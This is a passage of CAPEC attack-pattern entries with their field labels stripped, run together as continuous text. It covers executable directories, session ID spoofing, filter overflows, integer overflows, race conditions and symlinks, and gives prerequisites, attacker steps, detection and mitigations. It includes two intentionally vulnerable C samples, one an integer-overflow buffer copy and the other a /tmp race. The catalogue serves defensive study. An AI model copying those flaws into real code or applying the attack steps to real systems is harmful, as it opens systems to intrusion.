System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subkect and the object is set incorrectly or assumes a benign environment. Very High High Modification of Resources API Abuse Consider a directory on a web server with the following permissions drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit. Low: to identify and execute against an overprivileged system interface Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Enforce principle of least privilege Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Run Arbitrary Code Data Modification Information Leakage Privilege Escalation "Attack Pattern: Direct Access to Executable Files A privileged program is directly accessible. The program performs operations on behalf of the attacker that allow privilege escalation or shell access. For Web servers, this is often a fatal issue. If a server runs external executables provided by a user (or even simply named by a user), the user can cause the system to behave in unanticipated ways. This may be accomplished by passing in command-line options or by spinning an interactive session. A problem like this is almost always as bad as giving complete shell access to an attacker. The most common targets for this kind of attack are Web servers. The attack is so easy that attackers have been known to use Internet search engines to find potential targets. The Altavista search engine is a great resource for attackers looking for such targets. Google works too." [Hoglund and McGraw 04] Payload delivered through standard communication protocols. Command(s) executed directly on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 285 Targeted 272 Targeted 59 Targeted 282 Targeted 275 Targeted 264 Targeted 270 Targeted 693 Targeted 1 More Detailed Penetration High Medium Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

Determine the ciphertext and the encryption algorithm. Perform an exhaustive brute force search of the keyspace, producing candidate plaintexts and observing if they make sense. Ciphertext is known. Encryption algorithm and key size are known. Low Low Brute Force In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the keyspace to cover. The ciphertext was decrypted in 96 days. Low: Brute forcing encryption does not require much skill. A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge). On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext. Obviously as N gets large the brute force approach becomes infeasible. None. This attack happens offline. Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long. In theory a brute force attack performing an exhausitve keyspace search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months. Information Leakage Typically cryptography, if done right, will rarely be the weakest link in the system. Problems begin when people either decide to play cryptographers themselves and roll out custom crypto, use key sizes that are too small, develop their own cryptographic protocols (or misuse existing cryptographic protocols). There are some other things that can be done wrong, such as not using good sources of randomness when generating encryption keys and initialization vector values. 326 Targeted 693 Targeted 719 Secondary 49 More Detailed Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description, Resources Required and Context Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queueing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.

Survey the application for Indicators of Susceptibility Using a variety of methods, until one is found that applies to the target system. the attacker probes for credentials, session tokens, or entry points that bypass credentials altogether. Spider all available pages env-Web Attack known bad interfaces env-Web env-CommProtocol env-ClientServer env-Local Session IDs are used env-Web env-Peer2Peer env-ClientServer env-CommProtocol Open access points exist that use no user IDs or passwords, but determine authorization based on message content env-Web env-Peer2Peer env-CommProtocol env-ClientServer env-Local Session IDs are identifiable Open channels are available Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Fetch samples An attacker fetches many samples of a session ID. This may be through legitimate access (logging in, legitimate connections, etc) or just systematic probing. An attacker makes many anonymous connections and records the session IDs assigned. env-Web env-Peer2Peer env-CommProtocol env-ClientServer An attacker makes authorized connections and records the session tokens or credentials issued. env-Web env-Peer2Peer env-CommProtocol env-ClientServer An attacker gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connections from it, attempting to gain the same privileges as a trusted system. env-Peer2Peer env-CommProtocol env-ClientServer Trust in the system is based on IP address, MAC address, network locality, or other general network characteristic. env-CommProtocol env-ClientServer env-Peer2Peer Web applications use session IDs env-Web Network systems issue session IDs or connection IDs env-CommProtocol env-ClientServer env-Peer2Peer Systems or applications grant trust based on logical or physical network locality. Session identifiers successfully spoofed No session IDs can be found or exploited Monitor logs for unusual amounts of invalid sessions. Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts. Impersonate An attacker can use successful experiments to impersonate an authorized user or system Analyze logs for users or systems that are connecting from unexpected sources. Analyze logs for users or systems successfully requesting or performing unexpected actions. If heuristics are sufficiently reliable, disconnect hosts or users that appear to be unauthorized impersonations. Spoofing Bad data can be injected into the system by an attacker. Unauthorized data is injected into an application. Apply heuristic evaluation to input data. This can include validating source addresses, user names, ACLs or other data that indicates authorization. This need not be done inline at the time the data is processed, but can be done after the processing has occurred to detect attack. Apply transaction-based logic to systems whose initial authorization cannot be better controlled. Roll back transactions that are subsequently determined to be fraudulent or illegitimate. Server software must rely on weak session IDs proof and/or verification schemes High High Spoofing API Abuse Injection Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs. A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side. The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application. Low: To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit. Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens. Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted. Design: Use strong session identifiers that are protected in transit and at rest. Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated. Implementation: Verify of authenticity of all session IDs at runtime. Privilege Escalation Information Leakage Data Modification "Attack Pattern: Session ID, Resource ID, and Blind Trust When session and resource IDs are simple and available, attackers can use them to their advantage. Many schemes are so simple that pasting in another known ID in a message stream works. [Hoglund and McGraw 04] Malicious input delivered through standard service calls, e.g. FTP or posting a message to a message queue. Varies with instantiation of attack pattern. The main goal is so spoof or impersonate a legitimate user. Client machine and client network (e.g. Intranet) Enables attacker to impersonate another user and access commands and data (and log behavior to audit logs) on their behalf. 290 Targeted 302 Targeted 346 Targeted 539 Secondary 6 Targeted 384 Secondary 664 Targeted Penetration High High Low Client-Server n-Tier SOA All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-10 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

Server software must rely on client side formatted and validated values, and not re-inforce these checks on the server side. High High Spoofing Protocol Manipulation Web applications may use Javascript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server roundtripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information. Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements. Many web applications use client side scripting like Javascript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information. Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the messgae server accepts and acts on. Medium: The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars Ability to communicate synchronously or asynchronously with server Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system. Design: Do not rely on client validation or encoding for security purposes. Design: Utilize digital signatures to increase authentication assurance. Design: Utilize two factor authentication to increase authentication assurance. Implementation: Perform input validation for all remote content. Run Arbitrary Code Privilege Escalation Information Leakage "Attack Pattern: Make the Client Invisible "Remove the client from the communications loop by talking directly with the server. Explore to determine what the server will and will not accept as input. Masquerade as the client. [Hoglund and McGraw 04] 290 Targeted 287 Targeted 20 Secondary 200 Secondary 693 Secondary Penetration High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise

An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attacker's program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.

The target software must consume files. The attacker must have access to modify files that the target software will consume. Very High High Injection API Abuse PHP is a very popular web server. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the attacker can directly access and execute them through a browser. This vulnerability allows remote attackers to execute arbitrary code on the system, and can result in the attacker being able to erase intrusion evidence from system and application logs. Reference - http://www.owasp.org/index.php/File_System Medium Design: Enforce principle of least privilege Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example) Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution. Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host. Implementation: Virus scanning on host Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin. Run Arbitrary Code "Attack Pattern: File System Function Injection, Content Based A protocol header or snippet of code embedded in a media file is used in a trusted function call when the file is opened by the client. Examples include music files such as MP3, archive files such as ZIP and TAR, and more complex files such as PDF and Postscript files. Common targets for this attack are Microsoft Word and Excel files, most often delivered as e-mail attachments. An attacker typically makes use of relative paths in ZIP, RAR, TAR archive, and decompresses to get to parent directories." [Hoglund and McGraw 04] Payload delivered through standard communication protocols. Command(s) executed directly on host filesystem Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 77 Targeted 23 Targeted 22 Targeted 713 Targeted 715 Targeted Exploitation High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Attack Prerequisites Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. lets the user input into the system unfiltered).

Survey The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for inputs that involve potential filtering env-Web Brute force guessing of filtered inputs env-All Software messages (e.g., "the following characters are not allowed...") indicate that filtered inputs are present in the software. ( env-Web env-ClientServer Application uses predefined inputs (e.g., drop-down lists, radio buttons, selection lists, etc.) env-Web env-ClientServer env-Local env-Embedded Managed code (e.g., .NET, Java) is likely, based on URLs. env-Web Managed code (e.g., .NET, Java) is likely, based on files found in software. env-ClientServer env-Local env-Embedded env-Peer2Peer env-CommProtocol Java code is likely, based on standard disclaimers (e.g., "This software contains Java from Sun...."). Such declarations are frequent on commercial software that is based on Java. env-Embedded env-Local env-ClientServer Java code is likely, based on one of the other indicators, but it could contain Java Native Interface (JNI) code. This is indicated by the inclusion of DLLs or equivalent binary object code with Java code. env-Embedded env-Local env-ClientServer Attempt injections Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose. Brute force attack through black box penetration test tool. env-Web env-ClientServer env-CommProtocol env-Peer2Peer Fuzzing of communications protocols env-CommProtocol env-Peer2Peer env-ClientServer Manual testing of possible inputs with attack data. env-All Unexpected output from the application. No unexpected output from the application. Monitor and analyze logs for failures that exceed common usage sizes. For example, if typical transactions, even normal failed transactions, rarely exceed 250 characters, monitor logs for all attempts that contain 250 or more characters. In the event of successful exploitation, there may actually be no useful log. But an attacker's experiments will likely show up, giving clues to the ultimate attack. Disconnect or block connections from systems or users that exceed acceptable heuristics for normal transaction sizes. Monitor responses Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in? Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data. env-All Check Log files. An attacker with access to log files can look at the outcome of bad input. env-Local env-Embedded Prevent access to log files that contain error output. Prevent access to and/or sanitize all error output. Abuse the system through filter failure An attacker writes a script to consistently induce the filter failure. DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly. env-All Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system. env-All An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists. env-All Failure mode of the software (perhaps as a safety mechanism) includes exiting or ceasing to respond. env-All Failures do not involve stopping services, rejecting inputs or connections, and do not affect other simultaneous users of the software. env-All Attacker-supplied code is executed on the target system. The software stops responding for at least two orders of magnitude longer than the input takes to send. (e.g., 0.1s to send input induces at least a 10 second period non-responsiveness). Non-response by an attacker's input has an impact on the quality of service of other simultaneous users of the software. Monitor software response time regularly, and react to unexpected variations. Execute filtering modules with minimal privileges. Execute filtering modules in operating system "sandboxes" or similar containers. Ability to control the length of data passed to an active filter. High High Injection Attack Example: Filter Failure in Taylor UUCP Daemon Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack. A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection. Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Try to feed very long data as input to the program and watch for any indication that a failure has occurred. Then see if input has been admitted into the system. Some dynamic analysis tools may be helpful here to determine whether failure can be induced by feeding overly long inputs strings into the system. Many exceptions are thrown by the application's filter modules in a short period of time. Check the logs. See if the probes are coming from the same IP address. An attacker may temporally space out their probes. An attacker may perform probes from different IP addresses. Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs. Pre-design: Use a language or compiler that performs automatic bounds checking. Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Operational: Use OS-level preventative functionality. Not a complete solution. Design: Use an abstraction library to abstract away risky APIs. Not a complete solution. Run Arbitrary Code Privilege Escalation Denial of Service Web form, URL, File, Command line, Network socket, etc. All of the data that just got into the system unfiltered becomes the payload. Since the input enters the system effectively unfiltered, it may be dangerous if used in a SQL statement (i.e. SQL injection), as part of the command executed on the target system (i.e. command injection), as part of the reflection API (i.e. reflection injection), placed in logs (i.e. log injection), or perhaps to overflow another buffer in the system and give the attacker ability to execute arbitrary code. A subsequent buffer overflow may not even be required for that as the original one may be leveraged if the attacker gets lucky, that is the payload is activated in the filter itself, which also becomes the activation zone. Since no input validation is effectively performed in this situation, the impact of the attack may be a complete compromise of confidentiality, integrity, accountability and availability services. 120 Targeted 119 Targeted 118 Targeted 74 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 Occasionally Follows Input validation and filtering logic should fail securely (vault doors are closed) Failing Securely All input should be treated as rejected by default, unless explicitly allowed by the filter. Thus if the filter fails before "blessing" the data, it will be rejected. Penetration Medium High Medium All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

This attack attempts to trigger and exploit a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock condition are not easy to detect.

The attacker initiates an exploratory phase to get familiar with the system. The attacker triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish. If the target program has a deadlock condition, the program waits indefinitevely resulting in a denial of service. The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions (See reference, Wikipedia) The target host exposes an API to the user. High Low Analysis API Abuse An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock) Medium/High: This type of attack may be sophisticated and require knowledge about the system's resources and APIs. The attacker can probe by trying to hold resources and call APIs which are directly using the same resources. The attacker may try to find actions (threads, processes) competing for the same resources. Use known algorithm to avoid deadlock condition (for instance non-blocking synchronization algorithms). For competing actions use well known libraries which implement synchronization. Denial of Service 412 Secondary 567 Secondary 662 Targeted Exploitation Low Low High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Unrestricted Critical Resource Lock Deadlock, http://en.wikipedia.org/wiki/Deadlock Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Likelihood and other general areas Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.

The first step is exploratory meaning the attacker looks for an integer variable that he can control. The attacker finds an integer variable that he can write into or manipulate and try to get the value of the integer out of the possible range. The integer variable is forced to have a value out of range which set its final value to an unexpected value. The target host acts on the data and unexpected behaviour may happen. The attacker can manipulate the value of an integer variable utilized by the target host. The target host does not do proper range checkingon the variable before utilizing it. When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number) High High Modification of Resources Injection API Abuse Analysis Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. CVE-2007-1544 The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer. From "Secure Coding in C and C++" by Robert C. Seacord. Page 152, Figure 5-1 include <stdlib.h> include <string.h> include <stdio.h> int main (int argc, char *const *argv) { if (argc !=3){ printf("Usage: prog_name <string1> <string2>\n"); exit(-1); } unsigned short int total; total = strlen(argv[1])+strlen(argv[2])+1; char * buff = (char *)malloc(total); strcpy(buff, argv[1]); strcpy(buff, argv[2]); } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1511 Low : An attacker can simply overflow an integer by inserting an out of range value. High : Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level. Vulnerability testing tool can be used to probe for integer overflow (e.g. fuzzer). Use a language or compiler that performs automatic bounds checking. Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow. Use an abstraction library to abstract away risky APIs. Not a complete solution. Always do bound checking before consuming user input data. Data Modification Privilege Escalation Run Arbitrary Code Information Leakage Denial of Service An integer overflow condition exists when an integer, which has not been properly sanity checked is used in the determination of an offset or size for memory allocation, copying, concatenation, or similarly. If the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value. The user supplied data. The integer overrun by the attacker. When the function use the integer as offset, the offset may be out of the expected range which may lead to unexpected behavior such as issues of availability. The most common are issues of availability. In some situation, an integer oveflow can turn out to be an exploitable buffer overflow, then the attacker may be able to run arbitrary code on the target host. 190 Targeted 128 Targeted 120 Targeted 122 Secondary 196 Secondary 680 Targeted 697 Targeted Reluctance to Trust Exploitation Low Medium High All All All All J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002. CWE - Integer overflow (wrap or wraparound) Integer overflow, Secure Software - http://www.owasp.org/index.php/Integer_overflow SAMATE : samate.nist.gov Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Eric Dalci Cigital, Inc. 2007-03-25 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

This attack targets a race condition occurring when multiple processes access and manipulate the same resource concurrently and the outcome of the execution depends on the particular order in which the access takes place. The attacker can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance a race condition can occur while accessing a file, the attacker can trick the system by replacing the original file with his version and cause the system to read the malicious file.

The attacker explores to gauge what level of access he has. The attacker gains access to a resource on the target host. The attacker modifies the targeted resource. The resource's value is used to determine the next normal execution action. The resource is modified/checked concurrently by multiple processes. By using one of the processes, the attacker is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the Attacker to abuse the target host. A resource is accessed/modified concurrently by multiple processes such that a race condition exists. The attacker has the ability to modify the resource. High High Time and State Modification of Resources The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. CVE-2007-1057 The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name. include <sys/types.h> include <fcntl.h> include <unistd.h> define FILE "/tmp/myfile" define UID 100 void test(char *str) { int fd; fd = creat(FILE, 0644); if(fd == -1) return; chown(FILE, UID, -1); /* BAD */ close(fd); } int main(int argc, char **argv) { char *userstr; if(argc > 1) { userstr = argv[1]; test(userstr); } return 0; } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598 Medium/High Vulnerability testing tool can be used to probe for race condition. The attacker may also look for temporary file creation. The attacker may tries to replace them and take advantage of a race condition. Use safe libraries to access resources such as files. Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition. Use synchronization to control the flow of execution. Use static analysis tools to find race conditions. Pay attention to concurrency problems related to the access of resources. Privilege Escalation Data Modification 368 Secondary 363 Secondary 366 Secondary 370 Secondary 362 Secondary 662 Targeted 689 Targeted 667 Targeted Exploitation Low High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Race Conditions Wikipedia, http://en.wikipedia.org/wiki/Race_condition David Wheeler - Prevent race conditions - http://www-128.ibm.com/developerworks/linux/library/l-sprace.html David Wheeler - Secure programming - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description, Attack Flow and Attack Prerequisites Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to her. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attacker's Symlink link. If the attacker can insert malicious content in the temporary file she will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

